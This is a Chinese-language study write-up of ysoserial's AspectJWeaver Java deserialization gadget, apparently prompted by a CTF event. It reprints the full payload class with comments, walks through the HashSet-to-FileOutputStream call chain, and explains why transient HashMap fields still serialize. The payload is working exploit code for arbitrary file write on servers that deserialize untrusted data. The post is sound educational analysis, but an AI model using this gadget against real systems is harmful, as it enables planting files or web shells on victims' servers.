前言
AntCTFxD^3CTF 中学到了很多,参照大佬的文章也跟着分析一下ysoserial中的AspectJWeaver
基础部分
ysoserial中的AspectJWeaver : 此gadget用于写文件
Java的File类相关知识
File.separator
表示目录分隔符/
或者\
,根据系统判断
HashSet
HashSet 实现原理简述 : HashMap是HashSet的核心,而Map添加元素需要调用put(key,value)则必须有键和值。但HashSet相当于只有键,故实现HashSet时官方使用了固定值来做value,即PRESENT。而PRESENT则是用来造一个假的value来用的。
HashSet中PRESENT和HashMap
分析 : 由下图可见HashMap成员变量使用了private修饰 ,PRESENT的注释翻译为"与后备映射中的对象相关联的虚拟值" ,
其实这里有一个疑点,为什么HashMap被transient修饰,仍会序列化呢 ? 这个问题分析在最下方给出 ~
add方法源代码
分析 : HashSet添加元素调用了HashMap的put方法,PRESENT为固定值
分析ysoserial中的payload
分析的时候加了一些注释,助于理解
package ysoserial.payloads;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/*
Gadget chain:
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
Usage:
args = "<filename>;<base64 content>"
Example:
java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="
More information:
https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
*/
@PayloadTest(skip="non RCE")
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
@Authors({ Authors.JANG })
public class AspectJWeaver implements ObjectPayload<Serializable> {
@Override
public Serializable getObject(final String command) throws Exception {
int sep = command.lastIndexOf(‘;‘);
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
}
//将文件名和内容分割
String[] parts = command.split(";");
//文件名在0元素
String filename = parts[0];
//base64编码保证文件数据不损失
byte[] content = Base64.decodeBase64(parts[1]);
//获取SimpleCache的内部类StoreableCachingMap的构造器
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
/**
* 生成StoreableCachingMap实例,newInstance(".", 12);
* 第一个参数固定为 . 目的是保证文件写到当前目录
*/
Object simpleCache = ctor.newInstance(".", 12);
Transformer ct = new ConstantTransformer(content);
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
//将文件内容映射到MapEntry里,用于调用getValue,getKey取值
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
//参数设置为1,此参数会影响后面的构造
HashSet map = new HashSet(1);
//添加一元素,在HashMap角度是添加一个键值对,也是创建第一个键值对,保证反射改值不会空指针
map.add("foo");
//private修饰,故通过反射获取HashSet的核心成员——hashMap
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
//赋予权限
Reflections.setAccessible(f);
//获取实例对象"map"的HashMap
HashMap innimpl = (HashMap) f.get(map);
//同理,此处获取HashMap的成员变量table
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
//授予权限
Reflections.setAccessible(f2);
//强转获得相应的java.util.HashMap$Node
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
//System.out.println(node.getClass());
//反射获取key属性
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
//授予权限
Reflections.setAccessible(keyField);
//最后一步,完成强行更改键值对的操作,成功生成恶意实例
keyField.set(node, entry);
//返回HashSet实例
return map;
}
public static void main(String[] args) throws Exception {
//新建h3zh1.txt内容为hello hack
args = new String[]{"h3zh1.txt;aGVsbG8gaGFjawo="};
PayloadRunner.run(AspectJWeaver.class, args);
}
}
会发现这里用了大量的反射操作,原因如下 :
- StoreableCachingMap不能直接操作StoreableCachingMap
- HashSet没有暴露的方法可以直接对HashMap进行操作
链子分析
在SimpleCache内部类StoreableCachingMap.put方法处打断点
完整调用顺序如下截图:
HashSet关键部分调用链
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
其他的一些相关分析
payload中Object simpleCache = ctor.newInstance(".", 12);
一句的参数为什么这样设置 ?
在SimpleCache$StorableCachingMap.writeToPath()调用中,完成了文件的读写操作,源码如下:
private String writeToPath(String key, byte[] bytes) throws IOException {
String fullPath = this.folder + File.separator + key;
FileOutputStream fos = new FileOutputStream(fullPath);
fos.write(bytes);
fos.flush();
fos.close();
return fullPath;
}
此处为fullPath的赋值操作
String fullPath = this.folder + File.separator + key;
-
this.folder的值是什么?
此值和yso的payload中如下代码相关 :
Object simpleCache = ctor.newInstance(".", 12);
.
表示当前目录,在调用newInstance后会触发构造函数,如下图 ,即this.folder会被设置为.
-
File.separator
基础部分已经叙述过了,为目录分隔符 -
key
是要生成的文件名
综上三点所述: fullPath的值会被设置为"./h3zh1.txt",所以文件会被生成到项目目录
最下方
来解答问题,问题描述
为什么HashSet源码实现中HashMap成员被transient修饰,仍会触发序列化和反序列化 ?
刚开始我没有意识到HashMap序列化使用了transient来修饰。因为一般情况下被transient修饰的成员是不可以序列化的。但是如果重写readObject方法和writeOject方法,也可以完成序列化。
给出一个transient修饰可以反序列化的示例:
假如有个Exp类"行不更名坐不改姓",但是重写了readObject方法和writeOject方法
import java.io.*;
public class Exp implements Serializable{
//正常不可序列化,反序列化
private transient String name;
private int age ;
public Exp(int age , String name){
this.age = age;
this.name = name;
}
//重写——强行序列化
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException{
s.defaultWriteObject();
//不想强制序列化name可注释下一行
s.writeObject(this.name);
}
//重写——强行反序列化
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
//不想强制反序列化name可注释下一行
this.name = (String) s.readObject();
}
@Override
public String toString() {
return "Exp{" +
"name=‘" + name + ‘\‘‘ +
", age=" + age +
‘}‘;
}
//序列化函数
public static void serialize(Object obj) throws IOException {
FileOutputStream fileInputStream = new FileOutputStream("hello.class");
ObjectOutputStream oos = new ObjectOutputStream(fileInputStream);
oos.writeObject(obj);
oos.close();
}
//反序列化
public static Object unserialize() throws Exception{
FileInputStream fileInputStream = new FileInputStream("hello.class");
ObjectInputStream ois = new ObjectInputStream(fileInputStream);
return ois.readObject();
}
public static void main(String[] args) throws Exception {
Exp exp = new Exp(18,"katherine");
System.out.println("初始:"+exp);
serialize(exp);
Exp newExp = (Exp)unserialize();
System.out.println("序列化后:"+newExp);
}
}
那么推理到HashSet类
来HashSet的readObject重写部分甚至给了注释"Read in all elements" :
同样去找一下HashSet的writeObject方法 :
原来,你们早就在这里了……
文章参考 :
-
ysoserial AspectJWeaver file write gadget : https://xz.aliyun.com/t/9168
-
WebLogic 12.2.1.3.0 Shelldrop小工具 : https://medium.com/nightst0rm/t?i-??-chi?m-quy?n-?i?u-khi?n-c?a-r?t-nhi?u-trang-web-nh?-th?-nào-61efdf4a03f5
-
Servlet时间竞争以及AsjpectJWeaver反序列化Gadget构造 : https://mp.weixin.qq.com/s/GxFFBekqSl5BOnzAKFGBDQ